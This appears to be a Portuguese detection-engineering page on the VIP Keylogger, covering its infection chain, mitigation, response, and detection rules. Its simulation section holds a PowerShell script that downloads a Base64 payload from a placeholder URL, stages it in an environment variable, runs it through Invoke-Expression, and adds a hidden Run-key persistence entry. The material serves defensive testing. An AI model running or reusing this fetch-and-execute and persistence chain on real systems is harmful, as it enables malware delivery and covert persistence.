VIP Keylogger e Suas Táticas de Evasão em Múltiplas Camadas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O VIP Keylogger é uma ameaça modular de roubo de informações entregue por meio de iscas de phishing, como alertas falsos de pagamento bancário. Sua cadeia de infecção depende de carregadores maliciosos baseados em VBS, JavaScript ou lote que usam ofuscação pesada, esteganografia em imagens PNG e abuso de variáveis de ambiente para ocultar estágios do PowerShell antes de lançar o keylogger final. Uma vez ativo, o malware captura credenciais, capturas de tela, conteúdos da área de transferência e senhas de Wi-Fi, então exfiltra os dados através de múltiplos canais de comando e controle. Os esforços de detecção devem focar em mudanças suspeitas no registro, valores incomuns de variáveis de ambiente e transições anormais da execução do script para cargas binárias.
Investigação
A Equipe de Pesquisa de Ameaças da Splunk revisou mais de 200 amostras de carregadores coletadas em março e abril de 2026, documentando seus padrões de nomenclatura, variantes de carregadores e o uso esteganográfico de arquivos PNG para entrega de carga útil. Os pesquisadores reproduziram o processo de desofuscação, identificaram o abuso da INTERNAL_DB_CACHE variável de ambiente e rastrearam a persistência até a chave de registro UserInitMprLogonScript . O relatório também mapeou cada comportamento observado para as técnicas MITRE ATT&CK relevantes para apoiar a engenharia de detecção.
Mitigação
As organizações devem interromper as tentativas iniciais de phishing por meio de controles de segurança de e-mail mais fortes e filtragem de URL. Os defensores devem monitorar a criação e modificação dos valores de HKCUEnvironment , especialmente entradas muito grandes ou uso da variável INTERNAL_DB_CACHE . A execução de carregadores baseados em scripts a partir de diretórios graváveis pelo usuário deve ser restrita, e o Modo de Linguagem Constrained do PowerShell deve ser aplicado sempre que possível. As ferramentas de segurança de endpoint também devem detectar injeção de processo em aspnet_compiler.exe e atividade suspeita de netsh .
Resposta
Se um indicador do VIP Keylogger for detectado, isole o host afetado, colete a memória volátil e os logs de execução do processo recente, e procure pelos artefatos de registro conhecidos, URLs de comando e controle baseados em PNG e arquivos descartados. Os scripts maliciosos devem ser removidos, as credenciais expostas redefinidas, e uma varredura mais ampla deve ser conduzida em todo o ambiente para artefatos relacionados a carregadores e mecanismos de persistência.
Fluxo de Ataque
Detecções
Possível Tentativa de Comunicação de Consulta de Domínio por IP (via dns)
Visualizar
Possíveis Pontos de Persistência [ASEPs – Software/Colmeia NTUSER] (via registry_event)
Visualizar
A Possibilidade de Execução Atrás de Linhas de Comando PowerShell Ocultas (via cmdline)
Visualizar
LOLBAS WScript / CScript (via process_creation)
Visualizar
Strings Suspeitas do Powershell (via powershell)
Visualizar
Chamar Métodos .NET Suspeitos a partir do Powershell (via powershell)
Visualizar
Possível Abuso do Telegram Como Canal de Comando e Controle (via dns_query)
Visualizar
IOCs (HashSha256) para detectar: Por Trás do Código: A Defesa-Evasão em Camadas do VIP Keylogger
Visualizar
Execução do VIP Keylogger via Variável de Ambiente [Windows PowerShell]
Visualizar
Persistência do VIP Keylogger via Modificação de Registro [Evento do Registro do Windows]
Visualizar
Execução da Simulação
Pré-requisito: A Verificação de Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visando gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos errôneos.
-
Narrativa & Comandos do Ataque:
- Reconhecimento Inicial – o atacante executa
Get-ADDomain(T1016.002) para descobrir relações de confiança de domínio. - Aquisição de Carga Útil – usando
Invoke-WebRequest(T1071.001) o atacante baixa um DLL codificado em Base64 que implementa o keylogger (T1056.001). - Estágio via Variável de Ambiente – a string baixada é armazenada em uma variável de ambiente em nível de usuário por meio de
[Environment]::SetEnvironmentVariable. Esta etapa satisfaz o foco da regra de detecção na manipulação de variáveis de ambiente. - Execução Dinâmica – o atacante executa imediatamente a carga útil com
Invoke-Expression $env:VIPPayload(T1059.001). O keylogger começa a capturar teclas digitadas, capturas de tela (T1113) e dados da área de transferência (T1115). - Limpeza – após estabelecer persistência (por exemplo, criando uma chave de execução, T1037.001), o atacante exclui o DLL temporário do disco (T1070.004) e remove a variável de ambiente para reduzir as pegadas forenses.
- Reconhecimento Inicial – o atacante executa
-
Script de Teste de Regressão: O script abaixo reproduz os passos exatos e gera a telemetria que a regra Sigma espera.
# Simulação VIP Keylogger – PowerShell # ------------------------------------------------- # 1. Baixar uma carga útil fictícia (string codificada em Base64) $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64" $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim() # 2. Armazenar carga útil em uma variável de ambiente em nível de usuário $envVarName = "VIPPayload" [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User") # 3. Decodificar e executar a carga útil via Invoke‑Expression $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload)) Invoke-Expression $decoded # 4. (Opcional) Persistir via chave de execução – demonstra T1037.001 $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`"" # 5. Limpeza – remover a variável de ambiente e a entrada da chave de execução Start-Sleep -Seconds 30 # permitir que alguma atividade seja registrada Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue [Environment]::SetEnvironmentVariable($envVarName, $null, "User") -
Comandos de Limpeza: Execute estes comandos para retornar o sistema a um estado limpo após o teste.
# Remover a variável de ambiente criada para o teste [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User") # Excluir a entrada de persistência da chave de execução, se existir $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue # Limpar qualquer entrada residual do histórico do PowerShell (opcional) Clear-History